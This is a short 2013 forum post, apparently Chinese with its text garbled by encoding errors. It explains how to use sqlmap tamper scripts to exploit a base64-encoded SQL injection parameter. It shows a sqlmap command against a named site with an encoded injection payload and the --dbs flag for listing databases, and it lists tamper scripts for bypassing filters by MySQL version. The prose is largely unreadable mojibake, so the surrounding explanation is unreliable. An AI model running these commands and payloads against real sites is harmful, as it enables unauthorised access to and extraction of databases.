admin ·¢±íÓÚ 2013-11-23 15:50:45

SQlMap Tamper×¢ÈëBase64±àÂë×¢Èëµã


WVSɨijվ¾Í³öÀ´Ò»¸öSQL Injection£¬²ÎÊý»¹ÊÇbase64±àÂëµÄ£¬ÊÖ¹¤×¢ÈëÂé·³Ò»²½£¬ÓÃsqlmapÔõô×Ô¶¯×¢ÉäÄØ£¿

sqlmapµÄtamperÀïÓиöbase64encode.py

ʹÓÃÈçÏÂ

sqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py ¨Cdbs


sqlmapÓµÓкܶ๦ÄÜÇ¿Á¦µÄ²å¼þ£¬²å¼þµÄʹÓ÷½·¨£º -- tamper ¡°²å¼þÃû³Æ¡±

ÆäÖг£Óõ½µÄbypass½Å±¾ÈƹýSQLMAPÖ÷ÒªÁ½¸ö½Å±¾£º

space2hash.py £¬¶ÔÓÚMYSQLÊý¾Ý¿â 4.0, 5.0×¢Èë
space2morehash.py £¬¶ÔÓÚMYSQLÊý¾Ý¿â >= 5.1.13 ºÍ MySQL 5.1.41 ×¢Èë
Ê×ÏÈÈ·¶¨Ä¿±êÊý¾Ý¿â°æ±¾£¬È»ºóÑ¡ÔñÏàÓ¦µÄ½Å±¾¡£
-v 3 --batch --tamper "space2hash.py"

»¹ÓÐÆäËûһЩ²å¼þ£º
encodes±àÂë ¡ª¡ªcharencode.py
base64±àÂë ¡ª¡ª base64encode.py
Ìæ»»¿Õ¸ñºÍ¹Ø¼ü×Ö ¡ª¡ª halfversionedmorekeywords.py





Ò³: [1]
²é¿´ÍêÕû°æ±¾: SQlMap Tamper×¢ÈëBase64±àÂë×¢Èëµã